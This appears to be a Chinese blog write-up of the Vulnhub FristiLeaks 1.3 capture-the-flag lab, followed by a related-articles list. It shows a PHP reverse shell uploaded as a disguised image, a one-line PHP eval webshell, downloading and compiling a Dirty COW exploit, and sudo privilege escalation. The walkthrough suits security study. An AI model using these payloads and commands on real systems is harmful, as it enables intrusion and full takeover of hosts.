• 【甄选靶场】Vulnhub百个项目渗透——项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取)


    Vulnhub百个项目渗透

    Vulnhub百个项目渗透——项目十六:FristiLeaks_1.3(文件上传,py脚本改写,sudo提权,脏牛提权,源码获取)

    靶场地址


    🔥系列专栏:Vulnhub百个项目渗透
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月18日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!


    前言

    本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


    一、梳理流程

    1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
    2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
    3. 二次收集(基于已得到的服务或者主机再次信息收集)
    4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
    5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

    配置靶场

    在这里插入图片描述

    右键设置->网络适配器->高级,更改MAC地址为
    08:00:27:A5:A6:76

    在这里插入图片描述

    然后再开机靶场,就可以看到ip了

    1.服务发现

    在这里插入图片描述

    2.web突破

    1.页面信息收集

    恕我直言,我一开始啥也没搜集到,爆破目录只爆破出来一个robots.txt
    看了一下,各种组合都访问不到,甚至做了本地host
    直到我开始尝试页面那四个单词

    在这里插入图片描述在这里插入图片描述

    192.168.247.145/fristi
    这是个页面,我绝绝子

    在这里插入图片描述

    看到登陆页面第一个想到

    1. 弱口令
    2. sql注入
    3. 页面信息枚举搜集泄露的密码

    sql注入有点麻烦,我就试了弱口令,失败,那就查看一下页面信息,没有的话用cewl爬一下,实在不行再考虑sql

    在这里插入图片描述

    于是我打开了源码,先看到了一个用户

    在这里插入图片描述

    如此显眼的base64,不需要上面的提示我都知道,hhhhh天才

    在这里插入图片描述

    果断解码,一个是个图片,一个是乱码

    在这里插入图片描述

    是个图片,里面的应该是密码,但是我还是查看一下16进制信息,防止坑

    strings from_the-x.png
    
    • 1

    在这里插入图片描述

    2.脆弱服务突破

    啥也没有,那密码就是那个一大串,然后登陆

    在这里插入图片描述

    文件上传的口子,啥也不想的,直接先用kali自带的php脚本搞上去,顺便加上 GIF89a 这个头(在php脚本里加)

    locate php-reverse-shell.php   
    ----这个属于常识,我们要对kali自带的有好多种脚本熟悉,最起码记得个大概
    cp xxxxxxxxxxxxxxxxxxxxxxxx .
    gedit php-reverse-shell.php
    再把后缀改成.jpg
    
    
    文件里面要改的喔,IP和端口改成自己的
    
    
    本地还要开一个对应的端口接shell喔
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    上传成功,提示说在/uploads这个目录下

    在这里插入图片描述

    但是访问失败

    在这里插入图片描述

    并且看下面那个图,没有转圈,说明根本就没执行,这就说明它因为解析jpg失败(因为他实际上是php),所以直接不解析。真是个懒逼。。。

    • WINDOWS呢是这样,如果有多个后缀,那他就从最后一个往回执行,直到成功解析,多后缀名绕过也是一种常见但是目前也基本没有活路的绕过方式啦

    在这里插入图片描述

    再执行
    发现绕圈圈
    本地的端口也接到了shell
    那么就开始内网环节

    3.webshell小技巧

    https://github.com/melbinkm/PHPImageShell

    直接上传该php的shell,可以运行command命令框!
    然后执行python那些的反弹啊啥的都行了就

    2.内网突破

    1.内网信息再次收集

    先上传提权3脚本,以前的博客有写,这里就不写了
    我的终端不知道为什么是这样,可能是做了安全限制,一般解决办法就是本地写好然后复制粘贴

    python -c 'import pty;pty.spawn ("/bin/bash")'  --生成稳定终端
    
    • 1

    在这里插入图片描述

    然后就是枯燥的翻找,不过靶场一般还好,最多到上一级父目录就能发现下一步突破口了

    在/home/eezeepz目录下发现:notes.txt文件

    在这里插入图片描述

    发现,翻译

    2.内网脆弱服务突破

    在这里插入图片描述

    就是说意思是说如果正在运行脚本,则该脚本将在/tmp目录中以admin身份执行任何命令(如果位于runthis的文件中),所以只需要执行一个命令,使用/tmp/runthis文件技巧就可以访问/admin/文件(还有每个文件一分钟后才生效…)

    先去user/bin看一下

    在这里插入图片描述

    没啥用,就一堆函数
    那接下来就是要执行命令,利用他给的提示,给我们的apache服务权限,因为我们是通过apache搞进来的,所以我们就是apache用户,或者你要问我增麽知道是apache的,这个不重要或者告诉你说:第三张图nmap扫出来的?不重要

    echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis   
    ---对apache赋权admin用户权限
    ls -l /home/admin
    cat /home/admin/cryptedpass.txt  发现信息:mVGZ3O3omkJLmy2pcuTq
    cat /home/admin/whoisyourgodnow.txt  发现信息:=RFn0AKnlMHMPIzpyuTI0ITG
    
    
    以及下面一个py文件
    import base64,codecs,sys
    def encodeString(str):
        base64string= base64.b64encode(str)
        return codecs.encode(base64string[::-1], 'rot13')
    cryptoResult=encodeString(sys.argv[1])
    print cryptoResult
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    在这里插入图片描述

    经过实际操作,他给的源码有问题,报错,那我们稍微修改一下

    在这里插入图片描述

    他给的:
    import base64,codecs,sys
    def encodeString(str):
        base64string= base64.b64encode(str)
        return codecs.encode(base64string[::-1], 'rot13')
    cryptoResult=encodeString(sys.argv[1])
    print cryptoResult
    
    我们写的,这些注释记得删掉,不然报错
    python
    import base64,codecs,sys      ------一样的       
    // ---使用python导入base64,codecs,sys模块module!
    rot13Str = "mVGZ3O3omkJLmy2pcuTq"  ----rot135str是我的自定义变量,输入密文
    base64Str = codecs.decode(rot13Str[::-1], 'rot13') 
    // --用codecs编码转换[::-1],decode编码转换rot13
    clearTextStr = base64.b64decode(base64Str)   
    // ---base64Str进行decode进行base64解码
    print (clearTextStr)         
     //---打印出clearTextStr
    
    总的来说就是依据现有规则做二创
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    在这里插入图片描述

    成功,另一个同理,修改一下py文件就行

    获得的两个密码:
    thisisalsopw123
    LetThereBeFristi!

    到这里的话,我们还剩什么用户没有登陆了呢?剩一个admin,剩一个fristigod
    这是刚才提权脚本扫出来的。。。

    先登录admin用户,看一下能不能sudo提权

    sudo -l  
    提示:Sorry, user admin may not run sudo on 16-FristiLeaks_1.
    
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    2.sudo提权

    不能用那就换一个

    sudo -l 
    提示:(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
    直接将用户sudo用做fristi来访问/var/fristigod/.secret_admin_stuff/doCom:
    
    那我们就按照他说的做呗
    
    sudo /var/fristigod/.secret_admin_stuff/doCom su -
    Sorry, user fristigod is not allowed to execute '/var/fristigod/.secret_admin_stuff/doCom su -' as root on 16-FristiLeaks_1.3.
    翻译:不允许用户fristigod以root权限运行!
    
    到这似乎已经是死路一条了,但是
    在查看/var/fristigod目录下的cat .bash_history发现了历史命令:
    sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
    获得root权限!
    
    或者将/bin/bash附加到doCom也行:
    sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
    获得root权限!
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    在这里插入图片描述
    在这里插入图片描述

    3.脏牛提权

    内网信息收集的时候脚本跑出来的

    wget http://10.211.55.19:8081/40839.c
    gcc -pthread 40839.c -o dayu -lcrypt
    chmod +x rong
    ./rong rong
    执行完提示将firefart密码修改为rong为root权限!
    su firefart
    rong
    然后就获得root权限了!
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    4.源码获取

    GIF98
    <?php eval($_REQUEST[1]);?>
    
    • 1
    • 2
    cp /var/www/html/fristi/uploads
    
    tar -zcvf web.tar.gz /var/www/html/*
    
    cp web.tar.gz /var/www/html/fristi/uploads
    
    • 1
    • 2
    • 3
    • 4
    • 5

    这时候就可以download源码下来了!丢到seay里面去审计!

  • 相关阅读:
    Ubuntu 24.04 LTS 安装配置 MySQL Community Server 8.4.0 LTS
    c++入门必学算法 快速幂
    HTML5文旅文化旅游网站模板源码
    03- Nginx的核心配置文件-nginx.conf
    STM32G0开发笔记-Platformio+libopencm3-FreeRTOS和FreeModbus库使用
    大数据在智慧农业中的应用
    自己动手从零写桌面操作系统GrapeOS系列教程——10.NASM汇编语言
    【毕业设计】口罩佩戴检测系统 - opencv 卷积神经网络 机器视觉 深度学习
    聊聊我们Java中代码优化的30个小技巧
    飞行动力学 - 第25节-特征根与动稳定性 之 基础点摘要
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/126910141